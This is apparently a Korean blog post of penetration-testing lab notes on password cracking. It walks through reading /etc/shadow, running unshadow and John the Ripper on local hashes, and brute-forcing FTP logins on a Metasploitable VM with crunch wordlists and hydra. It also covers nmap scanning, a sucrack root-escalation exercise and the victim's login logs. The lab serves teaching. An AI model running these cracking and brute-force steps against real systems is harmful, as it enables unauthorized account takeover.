Metasploit을 활용한 정보수집
[실습] 칼리 리눅스 사용하기 10
패스워드 크랙(Crack)
- 오프라인(Offline) 암호 크랙 = 로컬(Local) 암호 크랙 (EX: John The Ripper ) <-- 오래된 프로그램
/etc/passwd, /etc/shadow같은 파일을 볼 수 있는 경우
- 온라인(Online) 암호 크랙 = 원격(Remote) 암호 크랙 (EX: hydra)
패스워드 공격
- 패스워드 공격 추측공격(Password Guessing Attack)
- 기본 패스워드 공격(Default Password Attack)
- 사전 대입 공격(Brute-Force Attack)
- 무작위 대입 공격(Dictionary Attack)
[!]공격 성공에 대한 속도
패스워드 추측 공격 > 기본 패스워드 공격 > 사전 대입 공격 > 무작위 대입 공격
패스워드 공격에 잘 성공하기 위한 조건
좋은 사전 파일을 보유해야 한다.
오프라인(Offline) 패스워드 크랙(Crack)하기
Offline password crack(Local Password Crack)
John The Ripper 툴
존더리퍼(John The Ripper) 실행하는 방법
Password Attacks > Offline Attacks > john
or
# john
모의해킹 절차
정보수집 -> 포트스캔 -> 웹페이지 접속 -> 어떤 프로그램을 사용하는지 확인 ->
프로그램 정보 확인 -> 프로그램 취약점 분석 -> 공격 -> 거점확보 -> 백도어 -> 결과 레포트
Offline password crack(Local Password Crack)
사용시스템
- KaliLinux
- Metasploitable V2 Server
(Kali Linux)
# cat /etc/passwd | grep --color root
root:x:0:0:root:/root:/bin/bash |
사용자이름:x:UID:GID:사용자정보:홈디렉토리:셸
■ /etc/passwd 파일에 대한 해석
root 사용자 이름
:x place holder X는 자리를 차지하고 있는 것(pwunconv사용할때 shadow가 있던 자리)
:0 UID(User ID) UID로 권한을 판단.
:0 GID(Group ID)
:root Comment 사용자의 정보를 입력, 주소, 연락처 등등..
:/root Home Directory
:/bin/bash Login Shell
root@kali:~# which pwconv
/usr/sbin/pwconv
/etc/passwd -> /etc/passwd + /etc/shadow
root@kali:~# which pwunconv
/usr/sbin/pwunconv
/etc/passwd + /etc/shadow -> /etc/passwd (통합,옛날방식,보안상 불리)
# ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2172 10월 2 19:21 /etc/passwd
-rw-r----- 1 root shadow 1448 10월 15 14:59 /etc/shadow
# cat /etc/shadow | grep --color root
root:$6$WEVVa8qf$Q9ERxWghMVy/KNq3xK9Ge7P.6dDpow0G8kT62W3DIcnCMC7ZOpX.i/SOuW0GHqPiN8YH1qfgOXoShMvsgORYb.:16258:0:99999:7::: |
사용자가 있는데 암호가 없을수는 없다
■ /etc/shadow 파일에 대한 해석
root 사용자 이름(User Name)
:$6$WEVVa8qf$Q9ERxWghMVy/KNq3xK9Ge7.....qfgOXoShMvsgORYb.
Password($암호화알고리즘$Salt key$암호화된 암호)
Password Aging
:16258 - (Last Change) : 암호가 변경된 날짜(기준 1970.1.1)
:0 - (Min Change) : 암호를 변경할 수 없는 기간(EX: 7)
:99999 - (Max Change) : 암호를 사용할 수 있는 최대 날짜(EX: 30)
:7 - (WAN Date) : 경고 메세지를 출력하는 기간(EX: 7)
: - (Inactive) : 비활성화 기간(EX: 7)
: - (Expire Data): 암호를 사용할 수 있는 최대 날짜(EX: 2014.12.31)
: - (Reserved) : 예약만 해놓고 개발자들이 필요한 것들을 위해 사용
Salt key
암호화 복호화는 모든 시스템에 들어 있으므로, 두대만 갖는 Salt Key 값을 암호화,
복호화에 집어넣어 아무나 암호화, 복호화 할 수 없도록 만드는 것, 즉 Salt Key값을 안전하게 관리하는 것이 중요하다.
ex) 1234 라는 암호에 Salt key(소금)를 더하면 qwIcSxKt0R 이런식으로 변한다.
# ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2213 7월 22 17:15 /etc/passwd -rw-r----- 1 root shadow 1573 7월 22 17:15 /etc/shadow |
# john
John the Ripper password cracker, ver: 1.7.9-jumbo-7_omp [linux-x86-sse2] Copyright (c) 1996-2012 by Solar Designer and others Homepage: http://www.openwall.com/john/
Usage: john [OPTIONS] [PASSWORD-FILES] --config=FILE use FILE instead of john.conf or john.ini --single[=SECTION] "single crack" mode --wordlist[=FILE] --stdin wordlist mode, read words from FILE or stdin --pipe like --stdin, but bulk reads, and allows rules --loopback[=FILE] like --wordlist, but fetch words from a .pot file --dupe-suppression suppress all dupes in wordlist (and force preload) --encoding=NAME input data is non-ascii (eg. UTF-8, ISO-8859-1). For a full list of NAME use --list=encodings ..... |
[참고] 사용자 추가하는 방법
(CentOS) # useradd user01 ; passwd user01
(Debian) # useradd -m -s /bin/bash user01 ; passwd user01
-m : make directory m옵션을 사용하면 홈디렉토리가 생성된다.
-s : shell 기본값은 본쉘로 되어져있다. 배시셸로 설정.
# useradd -m -s /bin/bash user01
# passwd user01
새 UNIX 암호 입력: (user01) 새 UNIX 암호 재입력: (user01) passwd: 암호를 성공적으로 업데이트했습니다 |
# useradd -m -s /bin/bash hacker
# passwd hacker
새 UNIX 암호 입력: (h4ckEr1.) 새 UNIX 암호 재입력: (h4ckEr1.) passwd: 암호를 성공적으로 업데이트했습니다 |
hacker -> h4ckEr1. (hacker1.)
A -> 4
0 -> 0
l -> 1
해커들이 자주쓰는 비밀번호
# cd /root/bin
# unshadow /etc/passwd /etc/shadow > passwd.txt
unshadow 실행해서 계정이랑 비번 정보 저장된 파일
pwunconv 는 실제 설정, unshadow는 모니터상에서만 출력
# vi passwd.txt
root:$6$ZNKrPCuv$.JvW3m.3GlKL31JavpUS4lbjqXinZdF.ubpKBX79vmR2ja mDpJjGZb6q9j77sOfZ9Njr7jdLphACiXyS1WMZL0:0:0:root:/root:/bin/bash user01:$6$89MayOmo$hBVztZgFcTcF/IZC3n04aGnqAKLJTmwJ2bH.iO9A9UU9tOXNbF8EfeD4yIyvEn CTOo3PrdOhNJouJjxAnRSqn.:1000:1001::/home/user01:/binbash |
-> root 사용자와 user01,hacker 사용자를 제외한 모든 사용자의 정보를 삭제한다.
# vi passwd.txt 상태에서
:w passwd1.txt <-- hacker를 지우고 root와 user01만 있는 상태에서 따로저장(약한암호 보유자)
:w passwd2.txt <-- 다른이름으로 저장하기(강함암호 보유자)
# john passwd1.txt
Created directory: /root/.john Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt" Use the "--format=crypt" option to force loading these as that type instead Loaded 2 password hashes with 2 different salts (sha512crypt [32/32]) toor (root) user01 (user01) guesses: 2 time: 0:00:00:00 DONE (Tue Jul 22 16:41:27 2014) c/s: 29.62 trying: user01 - toor Use the "--show" option to display all of the cracked passwords reliably |
# john --show passwd1.txt 언제든지 크랙된 패스워드를 볼수있다.
root:toor:0:0:root:/root:/bin/bash
user01:user01:1000:1001::/home/user01:/bin/bash
# john passwd2.txt
짧지만 강력한 암호를 사용하여 hacker ID는 크랙하는데 1일 이상 소모될 것이다.
새로운 터미널을 열고
# john --show passwd2.txt 쳐보면 결과
root와 user01은 크랙이 된 상태.
john passwd2.txt 를 ctrl+c 로 끊을시 다음번에 다시 명령어 실행하면 끊은 상태부터 이어서 검사한다.
■ 강력한 암호를 사용하는 방법
- 암호의 길이는 8글자 이상
- 문자(소문자/대문자)
- 숫자
- 특수기호(EX: $)
- 공백
짧지만 강력한 암호를 사용하여 hacker ID는 크랙하는데 1일 이상 소모될 것이다.
[과제] john the ripper 툴은 윈도우용 툴도 존재한다.
윈도우 용도로 되어 있는 툴을 사용해 본다.
# johnny
[과제] john the ripper 툴을 통해 dictionary file(user/password)를 통해 테스트 해 본다.
[과제] su 명령어를 사용하는 su crack 툴을 제작해 보자.
인터넷을 검색해 보자.
(예) sucrack 툴 => 로컬계정
(예) expect () && expect CMD + ssh CMD
# which sucrack 관리자 수행 할 수 업다, 사용자로 수행 햐여야 한다.
/usr/bin/sucrack
ex)
# service ssh restart
# service ssh status
# ssh user01@localhost
su - root
암호: fail
echo $? --> 1
su - root
암호 : sucssece
echo $? --> 0
일반 사용자만 있으면 관리자 권한을 얻을 수 있다.(시간문제)
온라인(Online) 패스워드 크랙(Crack)하기
xhydra(hydra-gtk), hydra 툴을 사용해 보자
xhydra 프로그램 실행하는 방법
Password Attacks > ONline Attacks > hydra-gtk (hydra)
or
# hydra
[실습] Online password crack
사용시스템
- KaliLinux (Attacker)
- Metasploitable V2 Server (Victim)
# nmap -sV -O -F 192.168.10.134 Metasploitable V2 Linux IP : 192.168.10.134
-sV 서비스 버전 정보
-O 운용체제 버전,종류 확인할 때
-F fast scan 전체 포스트 레지스트리 포트대역중 / 서버 대역 0-491510 / 포트검색의 속도를 줄임
Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-05 11:16 KST Nmap scan report for 192.168.10.134 Host is up (0.00039s latency). Not shown: 83 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 513/tcp open login? 514/tcp open tcpwrapped 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) MAC Address: 00:0C:29:FA:DD:2A (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.46 seconds |
FTP가 두개 동작중인것을 확인할 수 있다.
[참고] hydra
# hydra -l mfsadmin -P <암호 사전 파일> <타켓> <프로토콜>
or
# xhydra
# xhydra (GUI툴)
-> 생성된 사전 파일을 가지고 작업한다.
-> 사전 파일을 생성하고 크랙하는 과정은 아래 [참고] 내용을 확인한다.
[참고] Kali Linux 서버에서 사전파일을 생성하고 FTP 통해 user1 사용자의 패스워드를 크랙한다.
(Metasploitable V2 Linux)
서버에서 아이디/패스가 쉬운 사용자(EX: user1)를 만든다.
(RedHat 계열) # useradd user1 ; passwd user1
(Debian 계열) # useradd -m -s /bin/bash user1 ; passwd user1
-m : 디렉토리 만들기 위한 옵션
-s : 쉘 설정
$ sudo useradd -m -s /bin/bash user1 (/etc/sudoers)
$ sudo passwd user1
Enter new UNIX password: user1 Retype new UNIX password: user1 passwd: password updated successfully |
-> user1 사용자의 암호를 user1으로 설정한다.
$ cat /etc/passwd | grep --color user1
user1:x:1003:1003::/home/user1:/bin/bash |
$ sudo cat /etc/shadow | grep --color user1
user1:$1$C/z.wtw5$9xIpcoOi03LF5IS.CrzYw/:16401:0:99999:7::: |
$ ftp localhost 21 정상로그인
Connected to localhost. 220 (vsFTPd 2.3.4) Name (localhost:msfadmin): user1 331 Please specify the password. Password: user1 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> quit 221 Goodbye. |
(Kali Linux)
xhydra 프로그램에서 사용할 사전 파일을 생성한다.
# cd /root/bin
# crunch --help 사전파일을 생성하는 툴
Usage: crunch <min> <max> [options]
where min and max are numbers
Please refer to the man page for instructions and examples on how to use crunch.
# crunch 1 3 암호는 반드시 1~3글자 사이여야 하고 아무조합이나 3글자를 대입
# crunch 1 3 klz 이 3글자의 조합으로 1~3글자의 조합을 만들어 낸다.
# crunch 1 3 klz > wordlist.txt
# crunch 1 5 user1 > user.list
Crunch will now generate the following amount of data: 73645520 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 12356638 |
# cat user.list
..... (중략) ..... 111re 111rr 111r1 1111u 1111s 1111e 1111r 11111 |
root@kali:~/bin# cat user.list | grep user
user |
# grep --color user1 user.list
user1 |
# xhydra /* 이전에 실행한 툴 */
Target 탭:
Single Target : 192.168.10.134
Port : 21
Protocol : ftp
Output Options:
[ v ] Be Verbose
[ v ] Debug
[ v ] Show Attempts <--실습시 이것만 체크
Password 탭:
Username
[ v ] Username : user1
Password
[ v ] Passwd list : /root/bin/user.list
Start 탭:
하단에 있는 "Start" 선택
(참고) xhydra 툴의 가장 하단의 명령어 확인
(주의) /root/bin/user.list 파일 직접 편집
# vi /root/bin/user.list
상단 부분에 "user1" 입력
user1 입력후 뒤에 부분은 모두 삭제한다.(dG)
(Metasploitable V2)
$ sudo cat /var/log/vsftpd.log ($ sudo tail -f /var/log/vsftpd.log)
..... (중략) .... Wed Nov 26 20:10:39 2014 [pid 5981] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 5991] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 5985] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 5983] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 5993] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 5996] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 5998] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 6000] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 6002] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 6004] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 6006] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 6008] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 6010] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:39 2014 [pid 6012] CONNECT: Client "192.168.10.50" Wed Nov 26 20:10:40 2014 [pid 5989] [user1] OK LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 5995] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 5997] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 5999] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 6001] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 6003] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 6007] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 6005] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 6009] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:41 2014 [pid 6011] [user1] FAIL LOGIN: Client "192.168.10.50" Wed Nov 26 20:10:42 2014 [pid 5987] [user1] FAIL LOGIN: Client "192.168.10.50" |
ftp로 로그인 시도했던 흔적 로그 기록. 자동 로그인 패스워드 검색기능으로
공격당한 흔적
$ sudo cat /var/log/auth.log
..... (중략) ..... Nov 26 20:09:58 metasploitable vsftpd: pam_unix(ftp:auth): authentication failure; logname= uid=0 euid=0 tty=ftp ruser=user1 rhost=192.168.10.50 user=user1 Nov 26 20:10:29 metasploitable last message repeated 160 times 동일한 메시지가 많이발생 Nov 26 20:10:39 metasploitable last message repeated 57 times Nov 26 20:10:56 metasploitable sshd[6014]: Accepted password for msfadmin from 192.168.10.50 port 54028 ssh2 Nov 26 20:10:56 metasploitable sshd[6016]: pam_unix(sshd:session): session opened for user msfadmin by (uid=0) Nov 26 20:11:05 metasploitable sudo: msfadmin : TTY=pts/1 ; PWD=/home/msfadmin ; USER=root ; COMMAND=/bin/cat /var/log/vsftpd.log Nov 26 20:11:05 metasploitable sudo: pam_unix(sudo:session): session opened for user root by msfadmin(uid=0) Nov 26 20:11:05 metasploitable sudo: pam_unix(sudo:session): session closed for user root Nov 26 20:13:14 metasploitable sudo: msfadmin : TTY=pts/1 ; PWD=/home/msfadmin ; USER=root ; COMMAND=/bin/cat /var/log/auth.log |
[과제] 사전 파일을 모으자 좋은 파일을 갖고 있을수록 빨리 크래킹 할 수 있다.
인터넷을 통해 사전 파일을 모아보자.
[예제1]
<사전파일1> : Oracle Database 10gR2
<사전파일2> : Oracle Database 11gR2
<사전파일3> : Oracle Database 12c
.....
# cat (사전파일1) (사전파일2) (사전파일3) > (새로운 사전파일)
EX) # cat file1 file2 file3 > file4
[예제2]
<기본암호 사전파일>
<인터넷상에서 구한 사전파일>
# cat (기본암호 사전파일) (인터넷상에서 구한 사전파일) > (새로운 사전파일)
EX) # cat file1 file2 > file3 기본암호가 확률이 높기 때문에 앞에 두는 것이 더 효율적이다.
[예제3]
<인터넷상에서 구한 사전파일1>
<인터넷상에서 구한 사전파일2>
# cat (사전파일1) (사전파일2) | sort -u > (새로운 사전파일)
EX) # cat file1 file2 | sort -u > file3 sort -u는 정렬해주면서 중복된 것을 정리해준다.
[실습] 사전 파일 만들기 예제
사용 시스템
- KaliLinux
# mkdir -p /test && cd /test
# rm -rf /test/*
# echo 1111 > passwd1.txt
# echo 2222 > passwd2.txt
# echo 3333 > passwd3.txt
# cat passwd1.txt passwd2.txt passwd3.txt
# cat passwd1.txt passwd2.txt passwd3.txt > result.txt
# cat result.txt
# cat passwd3.txt passwd1.txt > result.txt
# cat result.txt
# vi passwd1.txt
1111 2222 3333 4444 |
# vi passwd2.txt
6666 3333 1111 7777 |
# vi passwd3.txt
3333 22 7777 1010 |
# cat passwd1.txt passwd2.txt passwd3.txt | sort -u > result.txt
# cat result.txt
sort -u : 중복된 문자 제거해준다
'Learning > └◆Security Section' 카테고리의 다른 글
[메타스플로잇]Metasploit_BeEF (0) | 2016.12.10 |
---|---|
[메타스플로잇]Metasploit_SE toolkit (0) | 2016.12.10 |
[메타스플로잇]Metasploit_bind_tcp,reverce_tcp (0) | 2016.12.09 |
[메타스플로잇]Metasploit_MySQL, tikiwiki (0) | 2016.12.09 |